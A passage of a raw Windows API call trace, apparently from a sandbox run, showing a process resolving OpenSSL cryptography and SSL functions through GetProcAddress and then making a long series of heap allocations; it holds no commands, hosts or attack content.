lpMultiByteStr="RAND_screen", lpUsedDefaultChar=0x0) returned 11 [0113.377] GetProcAddress (hModule=0x11000000, lpProcName="RAND_screen") returned 0x1106c270 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_event", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RAND_event", cchWideChar=10, lpMultiByteStr=0x7f2f6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RAND_event", lpUsedDefaultChar=0x0) returned 10 [0113.377] GetProcAddress (hModule=0x11000000, lpProcName="RAND_event") returned 0x1106c170 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_set_odd_parity", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0113.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_set_odd_parity", cchWideChar=18, lpMultiByteStr=0x80849c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DES_set_odd_parity", lpUsedDefaultChar=0x0) returned 18 [0113.378] GetProcAddress (hModule=0x11000000, lpProcName="DES_set_odd_parity") returned 0x11016940 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_set_key", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_set_key", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DES_set_key", lpUsedDefaultChar=0x0) returned 11 [0113.378] GetProcAddress (hModule=0x11000000, lpProcName="DES_set_key") returned 0x11017050 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_ecb_encrypt", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_ecb_encrypt", cchWideChar=15, lpMultiByteStr=0x7f2f6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DES_ecb_encrypt", lpUsedDefaultChar=0x0) returned 15 [0113.378] GetProcAddress (hModule=0x11000000, lpProcName="DES_ecb_encrypt") returned 0x11017100 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_set_odd_parity", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_set_odd_parity", cchWideChar=18, lpMultiByteStr=0x80849c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DES_set_odd_parity", lpUsedDefaultChar=0x0) returned 18 [0113.378] GetProcAddress (hModule=0x11000000, lpProcName="DES_set_odd_parity") returned 0x11016940 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_ossl_old_des_set_key", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_ossl_old_des_set_key", cchWideChar=21, lpMultiByteStr=0x80849c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ossl_old_des_set_key", lpUsedDefaultChar=0x0) returned 21 [0113.378] GetProcAddress (hModule=0x11000000, lpProcName="_ossl_old_des_set_key") returned 0x1101d550 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_ecb_encrypt", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0113.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DES_ecb_encrypt", cchWideChar=15, lpMultiByteStr=0x7f2f6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DES_ecb_encrypt", lpUsedDefaultChar=0x0) returned 15 [0113.379] GetProcAddress (hModule=0x11000000, lpProcName="DES_ecb_encrypt") returned 0x11017100 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_ex_data", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_set_ex_data", cchWideChar=15, lpMultiByteStr=0x7f2f6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_set_ex_data", lpUsedDefaultChar=0x0) returned 15 [0113.379] GetProcAddress (hModule=0x12000000, lpProcName="SSL_set_ex_data") returned 0x12023c70 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_ex_data", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_ex_data", cchWideChar=15, lpMultiByteStr=0x7f2f6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_get_ex_data", lpUsedDefaultChar=0x0) returned 15 [0113.379] GetProcAddress (hModule=0x12000000, lpProcName="SSL_get_ex_data") returned 0x12023c90 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_load_client_CA_file", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_load_client_CA_file", cchWideChar=23, lpMultiByteStr=0x80849c, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_load_client_CA_file", lpUsedDefaultChar=0x0) returned 23 [0113.379] GetProcAddress (hModule=0x12000000, lpProcName="SSL_load_client_CA_file") returned 0x12025d40 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_client_CA_list", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_client_CA_list", cchWideChar=26, lpMultiByteStr=0x80f81c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_client_CA_list", lpUsedDefaultChar=0x0) returned 26 [0113.379] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_client_CA_list") returned 0x12025c10 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_default_verify_paths", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0113.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_default_verify_paths", cchWideChar=32, lpMultiByteStr=0x841c94, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_default_verify_paths", lpUsedDefaultChar=0x0) returned 32 [0113.380] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_default_verify_paths") returned 0x12023bc0 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_session_id_context", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CTX_set_session_id_context", cchWideChar=30, lpMultiByteStr=0x80f81c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CTX_set_session_id_context", lpUsedDefaultChar=0x0) returned 30 [0113.380] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CTX_set_session_id_context") returned 0x12021050 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_description", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_description", cchWideChar=22, lpMultiByteStr=0x80849c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CIPHER_description", lpUsedDefaultChar=0x0) returned 22 [0113.380] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CIPHER_description") returned 0x12029f20 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_current_cipher", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_get_current_cipher", cchWideChar=22, lpMultiByteStr=0x80849c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_get_current_cipher", lpUsedDefaultChar=0x0) returned 22 [0113.380] GetProcAddress (hModule=0x12000000, lpProcName="SSL_get_current_cipher") returned 0x120237a0 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_get_name", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_get_name", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CIPHER_get_name", lpUsedDefaultChar=0x0) returned 19 [0113.380] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CIPHER_get_name") returned 0x1202a4d0 [0113.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_get_version", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_get_version", cchWideChar=22, lpMultiByteStr=0x80849c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CIPHER_get_version", lpUsedDefaultChar=0x0) returned 22 [0113.381] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CIPHER_get_version") returned 0x1202a4a0 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_get_bits", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SSL_CIPHER_get_bits", cchWideChar=19, lpMultiByteStr=0x80849c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SSL_CIPHER_get_bits", lpUsedDefaultChar=0x0) returned 19 [0113.381] GetProcAddress (hModule=0x12000000, lpProcName="SSL_CIPHER_get_bits") returned 0x1202a4f0 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CRYPTO_lock", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CRYPTO_lock", cchWideChar=11, lpMultiByteStr=0x7f2f6c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTO_lock", lpUsedDefaultChar=0x0) returned 11 [0113.381] GetProcAddress (hModule=0x11000000, lpProcName="CRYPTO_lock") returned 0x11001dc0 [0113.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CRYPTO_num_locks", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0113.500] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2a0a78 [0113.500] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2a0ae0 [0113.500] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0b28 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0b40 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0b58 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0b70 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0b88 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0ba0 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0bb8 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0bd0 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0be8 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0c00 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0c18 [0113.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0c30 [0113.575] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2a0c48 [0113.576] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2a0c60 [0113.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad248 [0113.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad260 [0113.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad278 [0113.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad290 [0113.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad2a8 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad2c0 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad2d8 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad2f0 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad308 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad320 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad338 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad350 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad368 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad380 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad398 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad3b0 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad3c8 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad3e0 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad3f8 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad410 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad428 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad440 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad458 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad470 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad488 [0113.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad4a0 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad4b8 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad4d0 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad4e8 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad500 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad518 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad530 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad548 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad560 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad578 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad590 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad5a8 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad5c0 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad5d8 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ad5f0 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ad608 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ada48 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ada60 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ada78 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ada90 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adaa8 [0113.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adac0 [0113.795] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2a0ae0, Size=0x80) returned 0x2ade30 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adad8 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adaf0 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adb08 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adb20 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adb38 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adb50 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adb68 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adb80 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adb98 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adbb0 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adbc8 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adbe0 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adbf8 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adc10 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adc28 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adc40 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adc58 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adc70 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adc88 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adca0 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adcb8 [0113.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adcd0 [0113.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2adca0 | out: hHeap=0x2a0000) returned 1 [0113.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adca0 [0113.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adce8 [0113.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2add00 [0113.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2add18 [0113.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2add30 [0113.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2add48 [0113.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2add60 [0113.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2add78 [0113.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2add90 [0113.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adda8 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2addc0 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2addd8 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2addf0 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ade08 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2aded0 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adee8 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adf00 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adf18 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adf30 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adf48 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adf60 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adf78 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adf90 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adfa8 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adfc0 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2adfd8 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2adff0 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae008 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae020 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae038 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae050 [0113.811] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae068 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae080 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae098 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae0b0 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae0c8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae0e0 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae0f8 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae110 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae128 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae140 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ae158 [0113.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2ae170 [0113.812] RtlReAllocateHeap (Heap=0x2a0000, 